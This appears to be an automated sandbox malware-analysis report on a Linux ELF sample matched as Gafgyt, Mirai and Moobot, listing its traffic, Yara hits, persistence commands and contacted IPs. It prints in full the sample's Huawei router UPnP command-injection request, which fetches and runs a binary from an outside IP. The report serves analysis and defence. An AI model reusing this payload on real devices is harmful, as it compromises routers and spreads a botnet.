Source: unknown TCP traffic detected without corresponding DNS query: 41.111.232.41
Source: unknown TCP traffic detected without corresponding DNS query: 180.215.178.223
Source: unknown TCP traffic detected without corresponding DNS query: 197.95.212.145
Source: unknown TCP traffic detected without corresponding DNS query: 157.139.208.17
Source: unknown TCP traffic detected without corresponding DNS query: 197.166.32.51
Source: unknown TCP traffic detected without corresponding DNS query: 157.50.201.94
Source: unknown TCP traffic detected without corresponding DNS query: 38.214.124.88
Source: unknown TCP traffic detected without corresponding DNS query: 197.207.197.234
Source: unknown TCP traffic detected without corresponding DNS query: 97.188.19.223
Source: unknown TCP traffic detected without corresponding DNS query: 47.173.204.30
Source: unknown TCP traffic detected without corresponding DNS query: 197.111.253.197
Source: unknown TCP traffic detected without corresponding DNS query: 41.116.217.181
Source: unknown TCP traffic detected without corresponding DNS query: 197.201.40.22
Source: unknown TCP traffic detected without corresponding DNS query: 197.156.89.127
Source: unknown TCP traffic detected without corresponding DNS query: 41.163.203.95
Source: unknown TCP traffic detected without corresponding DNS query: 180.16.78.227
Source: unknown TCP traffic detected without corresponding DNS query: 197.142.183.154
Source: unknown TCP traffic detected without corresponding DNS query: 157.201.23.58
Source: unknown TCP traffic detected without corresponding DNS query: 157.124.5.18
Source: unknown TCP traffic detected without corresponding DNS query: 197.205.217.145
Source: unknown TCP traffic detected without corresponding DNS query: 197.24.45.221
Source: unknown TCP traffic detected without corresponding DNS query: 41.145.240.122
Source: unknown TCP traffic detected without corresponding DNS query: 157.157.101.174
Source: unknown TCP traffic detected without corresponding DNS query: 197.11.97.13
Source: unknown TCP traffic detected without corresponding DNS query: 109.189.48.21
Source: unknown TCP traffic detected without corresponding DNS query: 41.114.172.204
Source: unknown TCP traffic detected without corresponding DNS query: 201.161.74.244
Source: unknown TCP traffic detected without corresponding DNS query: 41.122.69.72
Source: unknown TCP traffic detected without corresponding DNS query: 157.123.180.115
Source: unknown TCP traffic detected without corresponding DNS query: 36.47.88.65
Source: unknown TCP traffic detected without corresponding DNS query: 41.128.254.123
Source: unknown TCP traffic detected without corresponding DNS query: 157.95.27.19
Source: unknown TCP traffic detected without corresponding DNS query: 197.21.137.84
Source: unknown TCP traffic detected without corresponding DNS query: 157.82.218.221
Source: unknown TCP traffic detected without corresponding DNS query: 197.236.249.120
Source: unknown TCP traffic detected without corresponding DNS query: 157.161.177.81
Source: unknown TCP traffic detected without corresponding DNS query: 197.236.123.21
Source: unknown TCP traffic detected without corresponding DNS query: 157.12.198.165
Source: unknown TCP traffic detected without corresponding DNS query: 197.225.81.170
Source: unknown TCP traffic detected without corresponding DNS query: 157.94.171.198
Source: unknown TCP traffic detected without corresponding DNS query: 157.156.120.144
Source: unknown TCP traffic detected without corresponding DNS query: 2.45.60.100
Source: unknown TCP traffic detected without corresponding DNS query: 197.108.69.86
Source: unknown TCP traffic detected without corresponding DNS query: 157.227.88.248
Source: 8oxYPvmeaT.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 8oxYPvmeaT.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: unknown HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: unknown DNS traffic detected: queries for: BC@^]B

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 8oxYPvmeaT.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6231.1.00007fa678400000.00007fa67840e000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6241.1.00007fa678400000.00007fa67840e000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: 8oxYPvmeaT.elf PID: 6231, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: 8oxYPvmeaT.elf PID: 6241, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Yara signature match
Source: 8oxYPvmeaT.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6231.1.00007fa678400000.00007fa67840e000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6241.1.00007fa678400000.00007fa67840e000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: 8oxYPvmeaT.elf PID: 6231, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: 8oxYPvmeaT.elf PID: 6241, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: bin/busybox
Source: Initial sample String containing 'busybox' found: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample String containing 'busybox' found: Content-Length: h/bin/busybox/bin/watchdog/bin/systemdbin/busyboxbin/watchdogbin/systemdbinrm -rf && mkdir ; > && mv ; chmod 777 3f
Source: classification engine Classification label: mal92.troj.linELF@0/0@105/0

Persistence and Installation Behavior
barindex
Sets full permissions to files and/or directories
Source: /bin/sh (PID: 6238) Chmod executable with 777: /usr/bin/chmod -> chmod 777 \\xffbin/systemd\\xfc\\xff8\\xfc\\xffd\\xfc\\xff\\x98\\x91@ Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 6236) Mkdir executable: /usr/bin/mkdir -> mkdir bin Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 6238) Chmod executable: /usr/bin/chmod -> chmod 777 \\xffbin/systemd\\xfc\\xff8\\xfc\\xffd\\xfc\\xff\\x98\\x91@ Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/8oxYPvmeaT.elf (PID: 6233) Shell command executed: sh -c "rm -rf bin/systemd && mkdir bin; >bin/systemd && mv /tmp/8oxYPvmeaT.elf bin/systemd; chmod 777 \\xffbin/systemd\\xfc\\xff8\\xfc\\xffd\\xfc\\xff\\x98\\x91@" Jump to behavior
Executes the "rm" command used to delete files or directories
Source: /bin/sh (PID: 6235) Rm executable: /usr/bin/rm -> rm -rf bin/systemd Jump to behavior
Source: submitted sample Stderr: chmod: cannot access ''$'\377\177''bin/systemd'$'\177\030\374\377\177''8'$'\374\377\177''d'$'\374\377\177\230\221''@': No such file or directory: exit code = 0

Hooking and other Techniques for Hiding and Protection
barindex
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 55800 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 55800
Source: unknown Network traffic detected: HTTP traffic on port 46968 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 46968
Source: unknown Network traffic detected: HTTP traffic on port 45106 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 56078 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 56078
Source: unknown Network traffic detected: HTTP traffic on port 34126 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 34126
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/8oxYPvmeaT.elf (PID: 6231) Queries kernel information via 'uname': Jump to behavior
Source: 8oxYPvmeaT.elf, 6231.1.00007fff1d4cb000.00007fff1d4ec000.rw-.sdmp, 8oxYPvmeaT.elf, 6241.1.00007fff1d4cb000.00007fff1d4ec000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sh4
Source: 8oxYPvmeaT.elf, 6231.1.00005612601f0000.0000561260253000.rw-.sdmp, 8oxYPvmeaT.elf, 6241.1.00005612601f0000.0000561260253000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sh4
Source: 8oxYPvmeaT.elf, 6231.1.00007fff1d4cb000.00007fff1d4ec000.rw-.sdmp, 8oxYPvmeaT.elf, 6241.1.00007fff1d4cb000.00007fff1d4ec000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-sh4/tmp/8oxYPvmeaT.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/8oxYPvmeaT.elf
Source: 8oxYPvmeaT.elf, 6231.1.00005612601f0000.0000561260253000.rw-.sdmp, 8oxYPvmeaT.elf, 6241.1.00005612601f0000.0000561260253000.rw-.sdmp Binary or memory string: V5!/etc/qemu-binfmt/sh4

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: 8oxYPvmeaT.elf, type: SAMPLE
Source: Yara match File source: 6231.1.00007fa678400000.00007fa67840e000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6241.1.00007fa678400000.00007fa67840e000.r-x.sdmp, type: MEMORY
Yara detected Moobot
Source: Yara match File source: 8oxYPvmeaT.elf, type: SAMPLE
Source: Yara match File source: 6231.1.00007fa678400000.00007fa67840e000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6241.1.00007fa678400000.00007fa67840e000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 8oxYPvmeaT.elf PID: 6241, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: 8oxYPvmeaT.elf, type: SAMPLE
Source: Yara match File source: 6231.1.00007fa678400000.00007fa67840e000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6241.1.00007fa678400000.00007fa67840e000.r-x.sdmp, type: MEMORY
Yara detected Moobot
Source: Yara match File source: 8oxYPvmeaT.elf, type: SAMPLE
Source: Yara match File source: 6231.1.00007fa678400000.00007fa67840e000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6241.1.00007fa678400000.00007fa67840e000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 8oxYPvmeaT.elf PID: 6241, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
157.194.27.25
 unknown United States
4704 SANNETRakutenMobileIncJP false
164.191.52.223
 unknown United States
668 DNIC-AS-00668US false
12.149.18.17
 unknown United States
7018 ATT-INTERNET4US false
157.112.136.32
 unknown Japan 9605 DOCOMONTTDOCOMOINCJP false
197.14.36.251
 unknown Tunisia
37693 TUNISIANATN false
157.161.130.142
 unknown Switzerland
6772 IMPNET-ASCH false
34.39.73.212
 unknown United States
2686 ATGS-MMD-ASUS false
197.6.201.4
 unknown Tunisia
5438 ATI-TN false
41.30.144.223
 unknown South Africa
29975 VODACOM-ZA false
157.227.30.118
 unknown Australia
4704 SANNETRakutenMobileIncJP false
183.165.208.173
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
197.211.114.11
 unknown Malawi
37187 SKYBANDMW false
157.46.135.120
 unknown India
55836 RELIANCEJIO-INRelianceJioInfocommLimitedIN false
43.61.37.90
 unknown Japan 4249 LILLY-ASUS false
41.71.209.81
 unknown Nigeria
37053 RSAWEB-ASZA false
197.222.169.246
 unknown Egypt
37069 MOBINILEG false
157.12.245.236
 unknown Japan 24275 TOTOTOTOLTDJP false
49.27.74.83
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
195.155.10.105
 unknown Turkey
33548 UNWIRED-NOCUS false
157.49.72.74
 unknown India
55836 RELIANCEJIO-INRelianceJioInfocommLimitedIN false
197.78.0.1
 unknown South Africa
16637 MTNNS-ASZA false
39.223.204.218
 unknown Indonesia
23693 TELKOMSEL-ASN-IDPTTelekomunikasiSelularID false
157.198.38.197
 unknown United States
4704 SANNETRakutenMobileIncJP false
157.168.205.61
 unknown Switzerland
22192 SSHENETUS false
19.78.174.40
 unknown United States
3 MIT-GATEWAYSUS false
157.155.206.238
 unknown Australia
17983 COLESMYER-AS-APColesMyerAU false
157.37.178.102
 unknown India
55836 RELIANCEJIO-INRelianceJioInfocommLimitedIN false
41.251.165.136
 unknown Morocco
36903 MT-MPLSMA false
41.248.85.208
 unknown Morocco
36903 MT-MPLSMA false
197.70.186.100
 unknown South Africa
16637 MTNNS-ASZA false
82.178.96.254
 unknown Oman
28885 OMANTEL-NAP-ASOmanTelNAPOM false
41.243.103.130
 unknown Congo The Democratic Republic of The
37684 ANGANI-ASKE false
4.16.178.189
 unknown United States
3356 LEVEL3US false
163.160.5.14
 unknown United Kingdom
786 JANETJiscServicesLimitedGB false
197.13.254.9
 unknown Tunisia
37504 MeninxTN false
41.198.255.166
 unknown South Africa
328306 Avanti-ASZA false
197.180.107.86
 unknown Kenya
33771 SAFARICOM-LIMITEDKE false
197.47.156.137
 unknown Egypt
8452 TE-ASTE-ASEG false
113.20.31.99
 unknown Indonesia
45731 ARDH-AS-IDARDHGLOBALINDONESIAPTID false
222.30.135.42
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
197.217.148.151
 unknown Angola
11259 ANGOLATELECOMAO false
197.152.252.82
 unknown Tanzania United Republic of
37133 airtel-tz-asTZ false
157.208.226.55
 unknown United States
12552 IPO-EUSE false
52.248.235.152
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
150.34.187.3
 unknown Japan 9991 SHUDO-UHiroshimaShudoUniversityJP false
197.251.97.136
 unknown Sudan
37197 SUDRENSD false
157.83.166.153
 unknown United Kingdom
2501 UTNETTheUniversityofTokyoJP false
197.46.254.206
 unknown Egypt
8452 TE-ASTE-ASEG false
41.203.76.44
 unknown Nigeria
37148 globacom-asNG false
99.126.165.25
 unknown United States
7018 ATT-INTERNET4US false
178.104.135.152
 unknown United Kingdom
12576 EELtdGB false
157.198.196.23
 unknown United States
4704 SANNETRakutenMobileIncJP false
197.41.45.220
 unknown Egypt
8452 TE-ASTE-ASEG false
197.69.11.67
 unknown South Africa
16637 MTNNS-ASZA false
112.243.208.153
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
197.192.17.254
 unknown Egypt
36992 ETISALAT-MISREG false
80.179.209.1
 unknown Israel
9116 GOLDENLINES-ASNPartnerCommunicationsMainAutonomousSyste false
157.148.141.20
 unknown China
17816 CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi false
140.162.250.197
 unknown United States
19 LEIDOS-ASUS false
17.3.75.80
 unknown United States
714 APPLE-ENGINEERINGUS false
41.40.71.188
 unknown Egypt
8452 TE-ASTE-ASEG false
197.149.52.182
 unknown Madagascar
37054 Telecom-MalagasyMG false
170.41.187.237
 unknown United States
26034 ASN-DELTA-OUTUS false
157.181.65.107
 unknown Hungary
2012 ELTENETELTENETHU false
157.35.127.105
 unknown India
55836 RELIANCEJIO-INRelianceJioInfocommLimitedIN false
156.235.142.169
 unknown Seychelles
134548 DXTL-HKDXTLTseungKwanOServiceHK false
157.245.170.67
 unknown United States
14061 DIGITALOCEAN-ASNUS false
41.57.232.93
 unknown Ghana
37103 BUSYINTERNETGH false
157.105.195.243
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
43.57.106.108
 unknown Japan 4249 LILLY-ASUS false
197.30.41.154
 unknown Tunisia
37492 ORANGE-TN false
41.134.159.142
 unknown South Africa
10474 OPTINETZA false
41.183.9.45
 unknown South Africa
37028 FNBCONNECTZA false
157.181.106.8
 unknown Hungary
2012 ELTENETELTENETHU false
185.78.207.38
 unknown United Kingdom
8426 CLARANET-ASClaraNETLTDGB false
157.105.172.38
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
197.100.219.48
 unknown South Africa
3741 ISZA false
197.65.82.70
 unknown South Africa
16637 MTNNS-ASZA false
41.5.88.210
 unknown South Africa
29975 VODACOM-ZA false
197.94.15.28
 unknown South Africa
10474 OPTINETZA false
197.27.94.143
 unknown Tunisia
37492 ORANGE-TN false
197.159.106.179
 unknown Kenya
37421 CellulantKE false
157.90.191.238
 unknown United States
766 REDIRISRedIRISAutonomousSystemES false
41.26.72.131
 unknown South Africa
29975 VODACOM-ZA false
44.216.170.224
 unknown United States
14618 AMAZON-AESUS false
201.35.92.211
 unknown Brazil
8167 BrasilTelecomSA-FilialDistritoFederalBR false
157.254.215.181
 unknown United States
7768 TECHNICOLORUS false
197.179.229.85
 unknown Kenya
33771 SAFARICOM-LIMITEDKE false
193.60.87.140
 unknown United Kingdom
786 JANETJiscServicesLimitedGB false
176.137.7.219
 unknown France
5410 BOUYGTEL-ISPFR false
197.220.165.29
 unknown Ghana
37341 GLOMOBILEGH false
197.99.16.216
 unknown South Africa
3741 ISZA false
41.170.26.88
 unknown South Africa
36937 Neotel-ASZA false
41.65.28.123
 unknown Egypt
36992 ETISALAT-MISREG false
197.186.206.34
 unknown Tanzania United Republic of
37133 airtel-tz-asTZ false
62.242.162.199
 unknown Denmark
3292 TDCTDCASDK false
27.101.71.172
 unknown Korea Republic of
17841 NCIA-AS-KRNATIONALINFORMATIONRESOURCESSERVICEKR false
19.216.213.107
 unknown United States
3 MIT-GATEWAYSUS false
84.235.213.206
 unknown Germany
16360 SATLYNX_GMBHDE false
63.5.159.46
 unknown United States
701 UUNETUS false